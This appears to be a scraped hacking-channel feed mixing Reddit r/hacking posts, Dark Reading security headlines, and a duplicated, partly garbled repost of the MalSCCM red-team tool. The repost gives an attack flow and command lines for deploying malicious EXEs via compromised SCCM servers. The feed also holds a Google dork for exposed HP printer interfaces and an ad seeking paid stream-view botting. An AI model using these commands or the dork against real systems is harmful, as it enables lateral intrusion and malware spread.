hacking: security in practice
Curl.exe and .lnk attack

submitted by /u/sage2791
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is it possible to hack into digital advertising and change the image?

Asking purely hypothetically for a short story I am writing. But I would like to know if it's possible, with current tech to hack into a digital advertisement and replace it with an image created by the character.

submitted by /u/Buddy-Sattva
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
UNLEASH THE POWER OF SQL INJECTION! | Beginners Guide to Hacking with SQLi!

https://external-preview.redd.it/9DW4h0mGaZLthJlzMrve7TxrHpH4qx8YVA8OcI3P12c.jpg?width=320&crop=smart&auto=webp&s=ca20d31f7bc060345059720d8d62a53b3841cb66 submitted by /u/SecAura
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

MalSCCM - Tool To Abuse Local Or Remote SCCM Servers To Deploy Malicious Applications
http://www.kitploit.com/2022/06/malsccm-tool-to-abuse-local-or-remote.html

___________________________
@hacking_Attack
@Hacking_Video

This tool allows you to abuse local or remote (https://www.kitploit.com/search/label/Remote) SCCM servers to deploy malicious applications to hosts they manage. To use this tool your current process must have admin rights over the SCCM server. Typically deployments of SCCM will either have the management (https://www.kitploit.com/search/label/Management) server and the primary server on the same host, in which case the host returned from the locate command can be used as the primary server. If that is not the case you will need to compromise the management host returned with locate so that you can then run locate again on that host and get the primary server hostname. Once you have that and admin access (https://www.kitploit.com/search/label/Access) you are good to go!
Blog For more information on usage of the tool, refer to the blog below. https://labs.nettitude.com/blog/introducing-malsccm/ Credits Massive credit to PowerSCCM (https://github.com/PowerShellMafia/PowerSCCM) which this is all based off, this would not have been done without the work of @harmj0y, @jaredcatkinson, @enigma0x3, @mattifestation. Attack Flow Compromise client, use locate to find management server Compromise management server, use locate to find primary server use Inspect on primary server to view who you can target Create a new device group for the machines you want to laterally move too Add your targets into the new group Create an application pointing to a malicious EXE on a world readable share Deploy the application to the target group Force the target group to checkin for updates Profit... Cleanup the application and deployment Delete the group Help menu . Attempt to find the SCCM management and primary servers: MalSCCM.exe locate Inspect the primary server to gather SCCM information: MalSCCM.exe inspect Create/Modify/Delete Groups to add targets in for deploying malicious apps. Groups can either be for devices or users: MalSCCM.exe group /create /groupname:example /grouptype:[user|device] MalSCCM.exe group /delete /groupname:example MalSCCM.exe group /addhost /groupname:example /host:examplehost MalSCCM.exe group /adduser /groupname:example /user:exampleuser Create/Deploy/Delete malicious applications: MalSCCM.exe app /create /name:appname /uncpath:""\\unc\path"" MalSCCM.exe app /delete /name:appname MalSCCM.exe app /deploy /name:appname /groupname:example /assignmentname:example2 MalSCCM.exe app /deletedeploy /name:appname MalSCCM.exe app /cleanup /name:appname Force devices of a group to checkin within a couple minutes: MalSCCM.exe checkin /groupname:example '>Commands listed below have optional parameters in <>.

Attempt to find the SCCM management and primary servers:
MalSCCM.exe locate

Inspect the primary server to gather SCCM information:
MalSCCM.exe inspect

Create/Modify/Delete Groups to add targets in for deploying malicious apps. Groups can either be for devices or users:
MalSCCM.exe group /create /groupname:example /grouptype:[user|device]
MalSCCM.exe group /delete /groupname:example
MalSCCM.exe group /addhost /groupname:example /host:examplehost
MalSCCM.exe group /adduser /groupname:example /user:exampleuser

Create/Deploy/Delete malicious applications:
MalSCCM.exe app /create /name:appname /uncpath:""\\unc\path""
MalSCCM.exe app /delete /name:appname
MalSCCM.exe app /deploy /name:appname /groupname:example /assignmentname:example2
MalSCCM.exe app /deletedeploy /name:appname
MalSCCM.exe app /cleanup /name:appname

Force devices of a group to checkin within a couple minutes:
MalSCCM.exe checkin /groupname:example


Download MalSCCM (https://github.com/nettitude/MalSCCM)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Russia's APT28 Launches Nuke-Themed Follina Exploit Campaign

Researchers have spotted the threat group, also known as Fancy Bear and Sofacy, using the Windows MSDT vulnerability to distribute information stealers to users in Ukraine.

Dark Reading: Attacks/Breaches
Neustar Security Services Launches Public UltraDNS Health Check Site

Open service generates free report detailing potential gaps in compliance, configuration, and security for a user’s multiple domain names.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Aqua Security Collaborates With Center for Internet Security to Create Guide for Software Supply Chain Security

In addition, Aqua Security unveiled a new open source tool, Chain-Bench, for auditing the software supply chain to ensure compliance with the new CIS guidelines.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Microsoft 365 Users in US Face Raging Spate of Attacks

A voicemail-themed phishing campaign is hitting specific industry verticals across the country, bent on scavenging credentials that can be used for a range of nefarious purposes.

Dark Reading: Attacks/Breaches
Synopsys Completes Acquisition of WhiteHat Security

Addition of WhiteHat Security provides Synopsys with SaaS capabilities and dynamic application security testing (DAST) technology.

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
MalSCCM - Tool To Abuse Local Or Remote SCCM Servers To Deploy Malicious Applications

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVLw7_VI7I_l6_K0xtY3-qbtgeqU80fG3pP-6jc3NHuhj50OUxQ7d6He_ORyjXAY64SxhK1hOaW14DJDaErTz8PViNC3_PYr5qzcREHc7MShZCq2NoP2V9oK-Rpl-XKIJ0nevJRDP0AfN6aRg8ztPL1x5YpetSiFcJTUNuK3Qbm174-IXH3iHiRnb6/w640-h290/MalSCCM.png
This tool allows you to abuse local or remote SCCM servers to deploy malicious applications to hosts they manage. To use this tool your current process must have admin rights over the SCCM server.

Typically deployments of SCCM will either have the management server and the primary server on the same host, in which case the host returned from the locate command can be used as the primary server.

If that is not the case you will need to compromise the management host returned with locate so that you can then run locate again on that host and get the primary server hostname. Once you have that and admin access you are good to go!
Blog

For more information on usage of the tool, refer to the blog below.

* https://labs.nettitude.com/blog/introducing-malsccm/

Credits

Massive credit to PowerSCCM (https://github.com/PowerShellMafia/PowerSCCM) which this is all based off, this would not have been done without the work of @harmj0y, @jaredcatkinson, @enigma0x3, @mattifestation.

Attack Flow

* Compromise client, use locate to find management server
* Compromise management server, use locate to find primary server
* use Inspect on primary server to view who you can target
* Create a new device group for the machines you want to laterally move too
* Add your targets into the new group
* Create an application pointing to a malicious EXE on a world readable share
* Deploy the application to the target group
* Force the target group to checkin for updates
* Profit...
* Cleanup the application and deployment
* Delete the group

Help menu
MalSCCM.exe app /delete /name:appname MalSCCM.exe app /deploy /name:appname /groupname:example /assignmentname:example2 MalSCCM.exe app /deletedeploy /name:appname MalSCCM.exe app /cleanup /name:appname Force devices of a group to checkin within a couple minutes: MalSCCM.exe checkin /groupname:example ">Commands listed below have optional parameters in .

Attempt to find the SCCM management and primary servers:
MalSCCM.exe locate

Inspect the primary server to gather SCCM information:
MalSCCM.exe inspect

Create/Modify/Delete Groups to add targets in for deploying malicious apps. Groups can either be for devices or users:
MalSCCM.exe group /create /groupname:example /grouptype:[user|device]
MalSCCM.exe group /delete /groupname:example
MalSCCM.exe group /addhost /groupname:example /host:examplehost
MalSCCM.exe group /adduser /groupname:example /user:exampleuser

Create/Deploy/Delete malicious applications:
MalSCCM.exe app /create /name:appname /uncpath:""\\unc\path""
MalSCCM.exe app /delete /name:appname
MalSCCM.exe app /deploy /name:appname /groupname:example /assignmentname:example2
MalSCCM.exe app /deletedeploy /name:appname
MalSCCM.exe app /cleanup /name:appname

Force devices of a group to checkin within a couple minutes:
MalSCCM.exe checkin /groupname:example

Download MalSCCM

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Every open HP printer web interface on the net

Do NOT modify the dork string, just paste into google and hit search. For educational purposes only. Just saying.

site:*.*.*.1 intitle:HP

submitted by /u/mikeis075
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is it possible to retrieve an original email IP other than the mail server?

I’m trying to find the IP address of an email I received, but I only got the address for a mail server. Is there any way to get an IP other than the mail server? I’ve looked online and I believe I could get that info but I’d have to pay and I don’t want to. I’m not experienced in hacking/code so I apologize in advance if this question is silly!

submitted by /u/popmybaccbricck
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Get old Fortnite cosmetics?

Ok so I’m not a hacker but I’ve been getting really nostalgic with old Fortnite lately. I’m wondering if it’s possible to get old Battle pass skins somehow? I played Fortnite starting in season 2, but never maxed out my battle passes so I missed out on so much. If it’s not possible that’s fine, just thought I’d reach out and see. Thanks

submitted by /u/Beneficial-Dog-1803
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Searching guy who....

Searching guy, who knows how to BOT YOUTUBE LIVE STREAM VIEWS, paying only crypto. add me on telegram: ethokupant1337

I WANT TO BE BIG STREAMER

submitted by /u/nakvasilimf
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video